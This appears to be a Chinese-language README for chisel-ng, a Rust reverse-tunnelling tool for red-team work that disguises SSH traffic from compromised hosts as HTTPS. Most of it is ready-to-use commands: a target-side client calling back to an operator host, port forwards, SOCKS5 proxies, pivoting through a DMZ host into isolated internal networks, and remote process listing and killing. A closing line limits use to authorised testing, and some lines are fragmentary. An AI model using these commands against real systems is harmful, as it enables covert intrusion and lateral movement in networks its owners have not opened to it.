_ _ _
___| |__ (_)___ ___| | _ __ __ _
/ __| '_ \| / __|/ _ \ |_____| '_ \ / _` |
| (__| | | | \__ \ __/ |_____| | | | (_| |
\___|_| |_|_|___/\___|_| |_| |_|\__, |
|___/
chisel 的 Rust 实现版,用于渗透测试和红队行动。通过 SSH-over-WebSocket-over-TLS 建立反向隧道,使操作者能够在跨越被入侵主机时伪装成正常的 HTTPS 流量。
git clone https://github.com/nullsection/chisel-ng
cd chisel-ng
cargo build --release
输出二进制文件到 target/release/:chisel-server、chisel-client、chisel-bind-client
1. 启动服务端(操作者):
./chisel-server -p 'secret' -v
2. 运行客户端(目标):
./chisel-client -s operator.example.com:8443 -p 'secret' -k
3. 创建隧道:
chisel-ng> session 1
[session-1] TARGET > tunnel 8080:192.168.1.100:80
[session-1] TARGET > socks5 1080
4. 访问内部服务:
curl http://127.0.0.1:8080
curl --socks5 127.0.0.1:1080 http://internal.corp/
+------------------+ +----------------------------------+
| 操作者 | | 目标网络 |
| | | |
| +--------------+ | SSH | +--------------+ |
| |chisel-server |<---------------+-|chisel-client | |
| | :8443 | | (over TLS) | | (reverse) | |
| +--------------+ | | +--------------+ |
+------------------+ +----------------------------------+
协议栈:
TCP -> TLS 1.3 -> WebSocket -> SSH -> 隧道数据
^
显示为 HTTPS
客户端模式:
chisel-client) - 向外连接到服务端chisel-bind-client) - 监听入站连接;服务端使用 connect 命令选项:
-l, --listen <地址> 监听地址 [默认值: 0.0.0.0:8443]
-p, --psk <PSK> 预共享密钥或口令 [环境变量: CHISEL_PSK]
--cert <文件> TLS 证书 (PEM 格式)
--key <文件> TLS 私钥 (PEM 格式)
--generate-psk 生成随机 PSK 并退出
-v, --verbose 详细输出
选项:
-s, --server <地址> 服务端地址 (host:port)
-p, --psk <PSK> 预共享密钥或口令 [环境变量: CHISEL_PSK]
-u, --user <标签> 会话标签 [默认值: agent]
-k, --insecure 跳过 TLS 验证
--no-reconnect 禁用自动重连
-i, --interval <秒> 重连间隔 [默认值: 30]
--heartbeat <秒> 心跳间隔 [默认值: 30]
-v, --verbose 详细输出
适用于那些可以接受入站连接但无法发起出站连接的目标:
选项:
-l, --listen <地址> 监听地址 (例如 0.0.0.0:9000)
-p, --psk <PSK> 预共享密钥或口令 [环境变量: CHISEL_PSK]
-u, --user <标签> 会话标签 [默认值: agent]
-k, --insecure 跳过 TLS 验证
--heartbeat <秒> 心跳间隔 [默认值: 30]
-v, --verbose 详细输出
主菜单:
sessions 列出已连接的会话
session <id> 选择会话
connect <ip:port> 连接到绑定客户端
disconnect <id> 断开会话(将自动重连)
kill <id> 终止客户端进程
会话菜单:
tunnel <local>:<target_ip>:<target_port> 创建隧道
tunnel --local <local>:<target>:<port> 创建隧道(仅本地主机)
tunnel stop <port> 停止隧道
tunnels 列出隧道
socks5 <port> 启动 SOCKS5 代理
socks5 stop <port> 停止 SOCKS5 代理
ping 测量延迟
ps 列出远程进程
netstat 列出远程连接
通过现有会话链式连接,可达隔离网络。
场景: DMZ 主机可与操作者通信。内部主机(10.0.0.50)只能通过 DMZ 访问。
+----------+ +-----------+ +------------+
| 操作者 |--SSH---| 会话 1 |--TCP---| 会话 2 |
| 服务端 | | (DMZ) | | (内部网络) |
+----------+ +-----------+ +------------+
步骤 1 - 启动服务端(操作者):
./chisel-server -p 'secret' -v
步骤 2 - 运行反向客户端(DMZ 主机):
./chisel-client -s operator.example.com:8443 -p 'secret' -k
步骤 3 - 运行绑定客户端(内部主机 10.0.0.50):
./chisel-bind-client -l 0.0.0.0:9000 -p 'secret' -k
步骤 4 - 创建隧道并连接(服务端 CLI):
chisel-ng> session 1
[session-1] DMZ > tunnel --local 9000:10.0.0.50:9000
隧道已在 127.0.0.1:9000 启动
[session-1] DMZ > back
chisel-ng> connect 127.0.0.1:9000
会话 2 已注册
chisel-ng> session 2
[session-2] 内部网络 > socks5 1080
创建隧道时(tunnel 8080:192.168.1.100:80):
通过 RFC 1928 握手实现动态目标。返回正确的错误代码,以获得准确的端口扫描结果。
发布版构建已加固:
--heartbeat 0 禁用此工具仅供授权的安全测试使用。使用前请获取适当授权。作者不对滥用行为负责。
MIT